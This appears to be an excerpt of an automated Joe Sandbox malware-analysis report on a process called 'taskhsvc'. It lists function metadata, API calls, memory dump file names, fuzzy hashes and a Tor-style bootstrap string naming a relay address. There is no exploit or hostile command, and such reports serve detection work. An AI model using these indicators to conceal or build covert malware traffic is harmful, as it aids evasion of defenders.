                                        Function 00C08ADA Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        • WARN BOOTSTRAP PROGRESS=50 TAG=loading_descriptors SUMMARY="Loading relay descriptors for internal paths" WARNING="DONE" REASON=DONE COUNT=4 RECOMMENDATION=ignore HOSTID="7EA6EAD6FD83083C538F44038BBFA077587DD755" HOSTADDR="194.109.206.212:443", xrefs: 00C08C64
                                        • U, xrefs: 00C08B32
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID: U$WARN BOOTSTRAP PROGRESS=50 TAG=loading_descriptors SUMMARY="Loading relay descriptors for internal paths" WARNING="DONE" REASON=DONE COUNT=4 RECOMMENDATION=ignore HOSTID="7EA6EAD6FD83083C538F44038BBFA077587DD755" HOSTADDR="194.109.206.212:443"
                                        • API String ID: 4216919130-546341725
                                        • Opcode ID: c320b5c9e2257a50f5bd22cb2b354dc64acf1048c85ad8503385ce1891d49d63
                                        • Instruction ID: 3fc69062e390873d5ae37aa11589e541f8ada4bf74f72e53dbb094250448c42d
                                        • Opcode Fuzzy Hash: c320b5c9e2257a50f5bd22cb2b354dc64acf1048c85ad8503385ce1891d49d63
                                        • Instruction Fuzzy Hash: B351E3B4905218CFDB20DF19C884799B7F1FB44304F40C9AAE698AB391D7749AC9CF69
                                        Function 00C23C99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C23D3D
                                          • Part of subcall function 00D286E9: __stack_chk_fail.LIBSSP-0 ref: 00D28789
                                          • Part of subcall function 00D17D3D: free.MSVCRT ref: 00D17D98
                                          • Part of subcall function 00D17D3D: __stack_chk_fail.LIBSSP-0 ref: 00D17DAB
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • free.MSVCRT ref: 00C23D25
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$free
                                        • String ID: @b
                                        • API String ID: 2817809126-2077063687
                                        • Opcode ID: 93f0f10914c80c715fa5e8d171eb2607718389fefd182070653ad7875ff6dff3
                                        • Instruction ID: ce3b0e1a001b0e4b878c6ff0a6c1b4f1eec0b74e5bf408938352374914d92aa6
                                        • Opcode Fuzzy Hash: 93f0f10914c80c715fa5e8d171eb2607718389fefd182070653ad7875ff6dff3
                                        • Instruction Fuzzy Hash: EA1163B490435A9FCB00EFA8D4456AEBBF0FF48304F418819E9A4AB341D7789A45CF65
                                        Function 00BE52AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BE5153: abort.MSVCRT ref: 00BE51AF
                                          • Part of subcall function 00BE5153: abort.MSVCRT ref: 00BE51F3
                                          • Part of subcall function 00BE5153: __stack_chk_fail.LIBSSP-0 ref: 00BE52A5
                                          • Part of subcall function 00BE3B5E: abort.MSVCRT ref: 00BE3BBD
                                          • Part of subcall function 00BE3B5E: abort.MSVCRT ref: 00BE3C00
                                          • Part of subcall function 00BE3B5E: __stack_chk_fail.LIBSSP-0 ref: 00BE3CB8
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BC33C1), ref: 00BE5350
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00BE533A
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort$strrchr
                                        • String ID: OS
                                        • API String ID: 2024191972-2970251794
                                        • Opcode ID: 57160166dad5be2c5401ed812080be4d98550ad242b497335e059b97d12d2eac
                                        • Instruction ID: dcfa10e1d58c48c5b443473d8b82c1a4088ba0e42e97ce9bdade85f0bc735d61
                                        • Opcode Fuzzy Hash: 57160166dad5be2c5401ed812080be4d98550ad242b497335e059b97d12d2eac
                                        • Instruction Fuzzy Hash: 5511A2B4A042089FCB00EFA9C58599DBBF1FF48344F118459E998EB345D774ED418F65
                                        Function 00C87868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C87904
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00C878D8
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abort
                                        • String ID: n
                                        • API String ID: 1190921433-2013832146
                                        • Opcode ID: bc5d8f6c519d9eb0a18866bccd8c2d43f42e09d24701df5d75c338e695869199
